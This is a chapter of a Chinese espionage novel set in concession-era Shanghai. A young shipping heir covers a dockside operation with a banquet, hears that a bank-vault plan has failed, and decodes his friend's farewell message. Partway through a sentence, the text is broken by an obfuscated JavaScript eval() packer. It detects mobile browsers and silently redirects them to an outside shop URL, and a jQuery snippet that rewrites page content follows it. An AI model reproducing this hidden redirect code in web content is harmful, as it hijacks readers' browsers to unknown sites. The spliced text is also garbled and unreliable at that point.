次日晚,七点三十分,浦江饭店顶层的观景餐厅。
巨大的落地玻璃窗外,黄浦江和汇山码头的夜景一览无余。江面上船只灯火如星,码头作业区的探照灯将泊位照得雪亮,巨大的吊机如同沉默的钢铁巨人。三号泊位上,一艘漆着白色“新亚”字样的货轮已经靠岸,工人们正在忙碌地装卸货物。
餐厅内,衣香鬓影,觥筹交错。水晶吊灯的光芒洒在绅士们的燕尾服和女士们的旗袍上,空气中弥漫着香槟、雪茄和高级香水的味道。留声机播放着舒缓的爵士乐。
陈徽之站在餐厅中央,举杯致辞。他今天穿了一身黑色礼服,领结打得一丝不苟,笑容得体,风度翩翩,完全是租界上层精英的模样。
“……值此‘海安号’顺利首航归沪之际,略备薄酒,感谢各位同仁、友人的支持。家父常教导,实业兴邦,航运乃国家血脉。愿以此杯,祈愿国泰民安,商路畅通!”
宾客们纷纷举杯应和。到场的有工部局官员、海关代表、几家外国洋行的经理、报社记者,还有陈家航运生意上的合作伙伴。陈徽之周旋其间,谈笑风生,巧妙地引导着话题,偶尔提及码头作业的繁忙、海关查验的严格,又不着痕迹地将众人的注意力引向窗外“新亚号”所在的泊位。
“听说‘新亚号’这次运来的药品,是支援前线医院的?”一位与陈家关系密切的报馆主编问道。
“李主编消息灵通。”陈徽之微笑,“不过具体货物,还得看海关查验结果。如今时局不易,任何物资进出,都需格外谨慎。”
他说话时,目光似不经意地扫过窗外。码头上,“新亚号”的装卸似乎有条不紊,但他注意到,有几辆封闭的货车停在靠近船尾的位置,与普通搬运区隔开,旁边站着几个穿深色衣服、不像码头工人的人。沈屹提到过,“鹞”可能在码头调度。
餐厅另一侧,家族航运公司的李经理正在与海关的一位科长低声交谈,内容似乎是关于“海安号”一批货物的免税申请——这是陈徽之提前安排的,目的就是拖住这位可能在关键时刻前往“新亚号”泊位巡查的海关官员。
时间一分一秒过去。酒会渐入高潮,宾客们或聚谈,或跳舞,或凭窗欣赏江景。陈徽之的心却越绷越紧。按照沈屹的计划,行动应该就在装卸作业进行到一半、人员相对疲劳、注意力可能分散的时候。
八点二十分左右。
窗外码头,忽然传来一声并不响亮、但有些突兀的金属撞击声,像是重物落地的闷响。紧接着,一阵短促的骚动从“新亚号”船尾方向传来,几个黑影迅速移动,有人似乎在奔跑。
餐厅里大部分宾客并未察觉,音乐和谈笑声掩盖了远处的异样。但陈徽之看到了。他看到船尾附近那几辆封闭货车旁的人影瞬间散开,朝某个方向追去。也看到码头的照明似乎短暂地暗了一下,又恢复。
他的手心渗出细汗,但脸上笑容不变,继续与一位洋行经理讨论着最近的汇率波动。
大约过了十分钟,码头似乎恢复了平静。装卸继续。那几辆封闭货车依然停在那里,但周围守卫的人好像换了。
沈屹成功了吗?还是……
陈徽之借故离开人群,走到餐厅角落一处相对安静的阳台,点燃一支雪茄。夜风吹来,带着江水的微腥。他看向三号泊位,一切如常。但他有种不祥的预感。
九点整,酒会接近尾声。宾客们开始陆续告辞。陈徽之一一送到门口,举止无可挑剔。
送走最后一位客人,他脸上的笑容才缓缓敛去。李经理走过来,低声道:“少爷,刚才码头那边好像有点小动静,巡捕房的人去了,但很快就撤了。说是工人操作不当,掉了个箱子,没伤人。”
陈徽之点点头。“知道了。今晚辛苦,你也早点回去休息。”
“那少爷您……”
“我还有点事,你先走。”
打发走李经理,陈徽之没有立刻离开浦江饭店。他回到观景餐厅,现在这里空无一人,只有侍者在收拾残局。他走到窗边,凝望着夜色中的汇山码头。
沈屹没有出现,也没有任何约定的信号。
他想起沈屹给他的那个金属盒。难道真的要到“万不得已”的时候?
不,再等等。
他坐进车里,对老周说:“回家。”
车子驶离外滩,融入夜色。陈徽之靠在座椅上,疲惫感如潮水般涌来。不是身体的疲惫,而是精神长时间高度紧绷后的虚脱。他第一次如此清晰地感受到,在这场没有硝烟的战争里,每一个决定都可能带来无法预料的后果,每一步都可能踏空。
回到家,那座位于法租界深处的、有着巴洛克风格立面的大宅,灯火通明,却显得空旷冰冷。父亲去了南京参加财政部会议,母亲在楼上佛堂诵经。管家迎上来,接过他的大衣和帽子。
“少爷,刚才有位先生打电话来,说姓方,问您定做的西装明天能否去试样子。”管家禀报。
陈徽之心头一动。老方?他并没有定做什么西装。这是暗号——老方有事找他,而且可能很急。
“知道了。我明天下午过去。”他平静地说,上楼回到自己房间。
关上门,他立刻打开那个金属盒。里面没有信件,只有一张小纸条,上面是一串看似毫无规律的数字和字母,还有一个极小的、像是某种特殊符号的印记。他认出了那套密码的变体规则——结合了《山海经》和沈家老宅书房里一本绝版地图册的坐标。
破译需要时间。
但他首先需要知道,老方那边发生了什么。
第二天下午,陈徽之如约来到城隍庙附近那家不起眼的“方记裁缝铺”。铺面狭窄,里面挂着各色布料,缝纫机嗡嗡作响。老方是个干瘦的中年人,戴着老花镜,正在案板上裁剪。
见陈徽之进来,老方抬头,眼神示意他进里间。
里间更小,堆满了布料和半成品衣服。老方关上门,脸色凝重。“陈少爷,昨晚汇丰银行保险库出了点事。”
陈徽之心中一紧。“说。”
“按照您前天交代的,我找了两个绝对靠得住、手脚干净的兄弟,混进了银行夜班清洁工里。本想趁维护人员检查保险箱时,找机会把您说的那个挂住的油布包弄出来。但是……”老方压低声音,“昨晚银行保险库的警报系统不知怎么,在预定维护时间前半小时突然被触发,说是检测到非法入侵。巡捕房和银行保安把整个保险库区围了,里外查了个遍。”
“结果呢?”
“什么都没找到。警报可能是误报,也可能是有人故意捣乱。但这么一闹,维护检查推迟了,而且安保级别提到了最高。您说的B-174号箱,现在被重点‘关照’,想再动手,难如登天。”老方看着陈徽之,“陈少爷,您要那东西,到底关乎什么?我那两个兄弟说,昨晚银行里外,除了巡捕,好像还有别的便衣在转悠,不像是普通警察,眼神忒毒。”
陈徽之沉默。沈屹预料到银行内部可能有问题,但没想到对方反应这么快,这么狠。直接触发警报,打乱所有计划。这说明,对方不仅知道杜兰德保险箱里有重要东西,而且很可能已经锁定了他们这边的动作。
是沈屹暴露了?还是自己这边出了纰漏?
“老方,这件事到此为止。你和你的人,最近什么都别做,避开风头。钱我会照付。”陈徽之从怀里掏出一个信封,塞给老方。
老方接过,捏了捏厚度,点点头。“陈少爷,您也小心。这潭水,看着不浅。”
离开裁缝铺,陈徽之走在城隍庙喧嚣的街市上,心中却一片冰凉。银行线索断了。沈屹昨晚码头行动生死未卜。那个金属盒里的密码,可能是唯一的希望。
他必须尽快破译。
回到家中书房,他反锁房门,拉上厚重的窗帘。就着台灯,他将金属盒里的纸条铺开,又拿出少年时和沈屹一起研究密码的那几本旧书——《康熙字典》、《乐府诗集》、《山海经》线装本,还有那本绝版的、标注着奇怪符号的《坤舆奥图》。
破译工作繁琐而耗神。他需要根据纸条上那个特殊符号,确定变体规则的起始点,然后对照数字和字母序列,在几本书之间来回切换,推敲每一个可能对应的字词。这不仅仅是智力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296799|198571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游戏,更是对记忆力和耐心的极限考验。
时间在寂静中流逝。窗外天色由明转暗,华灯初上。管家来敲门请他用晚餐,被他以“身体不适”为由打发了。
深夜,书房里只有钢笔在纸上划过的沙沙声,和偶尔翻动书页的轻响。陈徽之的眼睛因为长时间凝视微小字迹而布满血丝,额角隐隐作痛。
终于,在天将破晓时,最后一段密码被解开。
纸条上的信息令人心惊:
“鹞擒,伤重,暂匿。胶卷未得,银行线断。内鬼为‘隼’,位高,疑在警政高层,或与南京有关。彼已知我,必灭口。吾拟以身为饵,引其现身,取证。若成,证据将存于老地方(海棠树下第三砖)。若败,此即绝笔。兄可凭此信息,联络港岛‘亨德利洋行’史密斯,彼可信。母亲,拜托。屹。”
绝笔。
陈徽之猛地攥紧了纸条,纸张边缘割破了手指,渗出血珠,他却浑然不觉。
沈屹要以身为饵。这是自杀。
而他留下的最后线索——“海棠树下第三砖”,是他们沈家老宅后园,那棵两人刻过字的海棠树。少年时,他们曾在那里埋过一个“时间胶囊”,约定十年后开启。
沈屹要把证据藏在那里。这意味着,他很可能打算在“引蛇出洞”时,将某些东西提前送出去,或者安排了人送去。
陈徽之站起身,走到窗边。东方天际泛出鱼肚白,新的一天即将开始。但对于沈屹来说,这可能是在上海的最后一天,甚至是生命的最后一天。
他不能让他独自去死。
但如何阻止?沈屹决心已下,且计划已定。贸然插手,可能打乱他的部署,导致更坏的结果。
陈徽之的目光落在破译出的那行字上:“联络港岛‘亨德利洋行’史密斯”。这是沈屹安排的退路,或者说,是情报传递的最终渠道。
也许,他应该做沈屹希望他做的事——确保情报能送出去,无论沈屹是生是死。
但这意味着,他可能要对沈屹的牺牲袖手旁观。
忠义难两全。沈屹选择了忠,也选择了义——用自己换取揪出内鬼的机会。而他陈徽之,此刻必须做出选择:是遵从朋友的托付,保住大局;还是遵从内心的声音,去救那个从小一起长大的兄弟?
晨光透过窗帘的缝隙,照在书桌上摊开的密码本和那张染血的纸条上。陈徽之的脸上没有表情,只有眼底深处,翻涌着惊涛骇浪。
良久,他缓缓吐出一口气,眼中恢复了清明和决断。
他走到书桌前,拉开一个隐秘的抽屉,取出另一套从不轻易动用的印章和信笺——那是他通过母亲家族的关系,获得的某种特殊通信渠道的凭证。
他铺开信纸,开始书写。不是密码,而是用看似平常的商业隐语,写了两封信。一封给香港的史密斯先生,暗示将有重要情报送达,请求接应和必要协助。另一封,给他远在瑞士读书的妹妹,叮嘱了一些家族事务,并附上了一张数额可观的汇票——如果他出事,这笔钱足够妹妹完成学业并安稳生活。
写完信,用特殊火漆封好,叫来绝对忠诚的老仆,吩咐他通过特定渠道,立刻寄出。
然后,他换上了一身最普通的深色便装,没有带手杖,只在内袋藏了那支特制钢笔和一把匕首。他需要去一趟沈家老宅。
不是去取证据,而是去等沈屹。他有一种预感,沈屹在行动前,可能会去那里看一眼。
那是他们的根,也是他们梦想开始的地方。
如果能在那里截住沈屹,也许还有一线机会,改变那必死的计划。
如果截不住……那么至少,他可以在那里,送他最后一程。
陈徽之最后看了一眼镜中的自己——不再是那个游刃有余的租界贵公子,而是一个眼神决绝、即将踏入未知险境的战士。他整理了一下衣领,推门而出。
门外,天色已大亮。新的一天,充满了希望,也充满了未知的杀机。
他走下楼梯,步伐坚定。老周已经在门口等候。
“少爷,去哪?”
“沈家老宅。”